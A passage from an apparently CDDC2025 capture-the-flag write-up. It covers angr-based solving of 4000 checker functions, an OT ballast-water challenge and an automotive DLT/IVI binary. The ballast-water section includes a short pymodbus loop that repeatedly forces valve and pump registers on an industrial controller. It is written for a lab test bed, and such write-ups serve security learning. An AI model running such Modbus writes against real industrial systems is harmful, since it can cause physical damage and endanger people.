Option 3 is the most tedious and I simply was too lazy to do it
Solving the challenge
I went along with the easiest to implement solution which is to use angr. However, to ensure that it does not encounter path explosion, I would have to solve each of the 4000 functions one at a time.
First, we extract the address of all 4000 checker functions.
1
2
3
4
5
6
7
8
9
10
11
12
13
# idapython code to extract the address of all 4000 checker functions
end = 0x1490
funcs = []
tail = end
for i in range(4000):
funcs.append(tail)
x = [i.frm for i in XrefsTo(tail)][0]
print(hex(x))
tail = ida_funcs.get_func(x).start_ea
print(funcs)
Next, we write angr script to solve the functions one at a time.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import angr
import claripy
import logging
addrs = [...] # addresses of 4000 checker functions. truncated for brevity
p = angr.Project("./prob")
inpt = [claripy.BVS(f"inpt_{i}", 8) for i in range(4000)]
correct = []
for i in range(0, len(addrs)-1):
# we start a checker_function_n
state = p.factory.blank_state(addr=0x400000+addrs[i])
state.memory.store(0x1337000, claripy.Concat(*inpt))
state.regs.rdi = 0x1337000
mgr = p.factory.simulation_manager(state)
# we try to reach checker_function_n+1
mgr.explore(find=0x400000+addrs[i+1])
# we solve for the character of the flag that allows us to pass the check
correct.append(int(mgr.found[0].solver.eval(inpt[i])))
print(i, bytes(correct))
After waiting 10 minutes or so, we obtain the input of 4000 characters, which we can pass into the program to get the flag.
In hindsight, I only needed to solve 64 of the characters that is used to form the flag. I did not notice this initially due to my excitement to write an angr script to solve the challenge.
OT - Balast Water Management System
This goal of this challenge is manipulate the values of the given address to tilt the ballast water tank of the test bed. For the fiar enviroment, please follow this description to capture the flag.
- For the smooth progress, players set network configuration to the given informaton.(IP : 192.168.0.100, Subnetmask : 255.255.255.0)
- When you come to the stage, connect LAN cable to your laptop. You may then proceed to alter coil value.
- IP: 192.168.0.4, PORT: 502, register address: 1, 2, 3(Left inlet valve, Left inlet pump, Right outlet valve)
- Your goal is change these value(Left inlet valve, Left inlet pump, Right outlet valve) 0 to 1
This took me 4 attempts to solve this challenge.
I suspect that it did not work because it was not writing fast enough. The challenge was likely writing 0
s to the register faster than me.
As such, I decided to remove all print
statements and irrelevant code in the while loop, and it worked.
If it still refused to work, I was ready to spawn 10 terminals to run the code 10 times. :)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pymodbus.client import ModbusTcpClient
import time
client = ModbusTcpClient('192.168.0.4')
if not client.connect():
print("Failed to connect to Modbus server!")
print("Connected successfully!")
while True:
reg_result = client.write_registers(1, [1, 1, 1])
client.close()
print("Connection closed.")
OT - IVI1
OT - IVI2
Do you know what DLT is? If you want to go to the future, it is important to know about DLT.
There is a hint on how to use DLT in netstat.txt.
The provided binary is one of many binaries that use this DLT.
It is said that the clue to go to the future is in this binary(updatemgr). The binary provided on stage is running.
Analyze the binary to find the file that can get the flag to go to the future.
We are provided with 3 files, updatemgr
netstat.txt
and cddc2025.dlt
.
netstat.txt
1
2
netstat -natlp | grep dlt | grep LISTEN
tcp 0 0 :::3490 :::* LISTEN 249/dlt-daemon
This shows the dlt-daemon
listening on port 3490.
DLT refers to Diagnostic Log and Trace which is basically a common logging protocol used in automotives. dlt-daemon would be the listening service in an automotive component that sends logging over the network.
cddc2025.dlt
contains the logging messages that were captured at some point of time. If we run strings
on the file, we can see lots of logging messages such as the following:
1
2
3
4
5
UPDM_wbIsFilePathExists() [Warn]file path does not exist. [/AccessDev.dat].
UPDM_wemReadFileData() [Err]failed to open file [/opt/ota/usrpwd.txt].
[16170.653955] TouchReport X(152)
[16170.653983] TouchReport Y(470)
[16170.653997] TouchReport Z(124)
Finally, the last piece of the puzzle is the updatemgr
binary that seems to run on the automotive system and sends the logging data.
Reverse-Engineering updatemgr
binary
Doing a quick triage on the updatemgr
binary, we can find that the flag will be printed when wbIsFilePathExists(a1)
is called such that the file a1
exists.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
int __fastcall UPDM_wbIsFilePathExists(const char *a1)
{
char *n9; // r3
unsigned __int8 fileExists; // [sp+Bh] [bp-645h] BYREF
char s[172]; // [sp+Ch] [bp-644h] BYREF
_BYTE v6[1432]; // [sp+B8h] [bp-598h] BYREF
fileExists = 0;
// truncated
if ( !afw_fs_is_exist(a1, &fileExists) )
{
if ( fileExists )
{
afw_memset(s, 0, 170);
snprintf(s, 0xAAu, "CDDC2025{_FLAG_HAS_BEEN_REMOVED_}\n", 196, "UPDM_wbIsFilePathExists", a1);
if ( n9 == 9 || *(_BYTE *)n9 == 9 || afw_log_write_start(UPDATEMGR_LOG, v6, 2) <= 0 )
return fileExists;
goto LABEL_16;
}
afw_memset(s, 0, 170);
snprintf(s, 0xAAu, "%04d %s() [Warn]file path does not exist. [%s].\n", 200, "UPDM_wbIsFilePathExists", a1);
n9 = (char *)n9;
if ( !n9 )
return fileExists;
LABEL_14:
if ( *n9 <= 1 || afw_log_write_start(UPDATEMGR_LOG, v6, 2) <= 0 )
return fileExists;
LABEL_16:
afw_log_write_string(v6, s);
afw_log_write_finish(v6);
return fileExists;
}
// truncated
return 0;
}
From here, we can find cross-references of the function to identify how we can call this function with a file that exists.
In the main
function, we can find that it sems to check if the file AccessDav.dat
exists on connected USB devices.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
int UPDM_wvpOTAWoker_Main()
{
// ... truncated ...
if ( BasicAuth != 1 )
{
memset(idx, 0, sizeof(idx));
memset(s_2, 0, sizeof(s_2));
UPDM_wemGetMultiUsbRootPath((const char *)idx);
afw_memset(s_2, 0, 256);
snprintf(s_2, 0x100u, "%s/%s", (const char *)idx, "AccessDev.dat");
if ( UPDM_wbIsFilePathExists(s_2)
|| (afw_memset(s_2, 0, 256),
snprintf(s_2, 0x100u, "%s/%s", (const char *)&idx[32], "AccessDev.dat"),
UPDM_wbIsFilePathExists(s_2)) )
// ... truncated ...
}
The log messages also support our finding: UPDM_wbIsFilePathExists() [Warn]file path does not exist. [/AccessDev.dat]
.
Solution
Essentially, we simply have to connect a USB device with the AccessDev.dat
file and listen by running dlt-receive -a <IP_ADDRESS_OF_AUTOMOTIVE_DEVICE>
to obtain the flag.